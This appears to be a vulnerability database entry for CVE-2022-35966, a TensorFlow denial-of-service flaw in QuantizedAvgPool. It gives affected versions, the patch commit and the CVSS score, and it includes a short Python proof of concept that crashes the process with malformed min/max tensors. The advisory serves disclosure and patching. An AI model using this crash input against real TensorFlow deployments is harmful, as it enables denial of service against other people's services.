CVE-2022-35966

MEDIUM5.9EPSS 0.06%

TensorFlow vulnerable to segfault in `QuantizedAvgPool`

發布日:2022/9/16修改日:2023/12/6

也稱為:GHSA-4w68-4x85-mjj9BIT-tensorflow-2022-35966

描述

### Impact If `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf ksize = [1, 2, 2, 1] strides = [1, 2, 2, 1] padding = "SAME" input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8) min_input = tf.constant([], shape=[0], dtype=tf.float32) max_input = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding) ``` ### Patches We have patched the issue in GitHub commit [7cdf9d4d2083b739ec81cfdace546b0c99f50622](https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec81cfdace546b0c99f50622). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

受影響套件(4)

Bitnami/tensorflow>= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1
PyPI/tensorflowfrom 0, < 2.7.2
PyPI/tensorflow-cpufrom 0, < 2.7.2
PyPI/tensorflow-gpufrom 0, < 2.7.2

CVSS 分數

來源	版本	嚴重程度	向量
osv	CVSS 3.1	MEDIUM5.9	CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

描述

受影響套件(4)

CVSS 分數

參考連結(5)